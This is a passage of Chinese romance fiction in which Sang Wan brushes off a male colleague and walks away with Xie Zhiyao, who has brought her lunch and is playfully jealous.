“那个,”桑晚的语气变得有些疏离,脸上也收起了刚才的温和,换上了一副公事公办的表情,“我有点事儿,你要是没别的事,就先回你那边吃饭吧。今天……有人给我送饭了。” 男主愣了一下,显然没料到桑晚会突然变得这么冷淡。他顺着桑晚的目光看过去,看到了那个提着饭盒、气场强大得让人无法忽视的女人。 他张了张嘴,还想说什么,但桑晚已经不再看他,而是提着裙子,快步朝着谢知遥走了过去。 “知遥!”桑晚的声音里带着一丝讨好和如释重负,“你怎么这么快就到了?” 谢知遥看着她跑得微微气喘的样子,又看了看她刚才推开那个男人的动作,心里的火气这才消了大半。她把饭盒往桑晚面前一递,语气还是有点酸溜溜的: “怎么?不欢迎?怕我打扰你和你的‘好搭档’聊天?” 桑晚哭笑不得,伸手去拉她的袖子,小声撒娇:“哪有!我就是觉得他话太多了,烦死了。” 她接过沉甸甸的饭盒,闻着那熟悉的、让她魂牵梦萦的香气,心里的石头终于落了地。 “走,我们去那边吃。”桑晚拉着谢知遥,头也不回地走了,留下男主一个人站在原地,看着她们亲密的背影,若有所思。 谢知遥任由她拉着,嘴角终于重新扬起了一抹真实的笑意。她看着桑晚的侧脸,心里美滋滋的。 哼,我的人,谁也别想抢。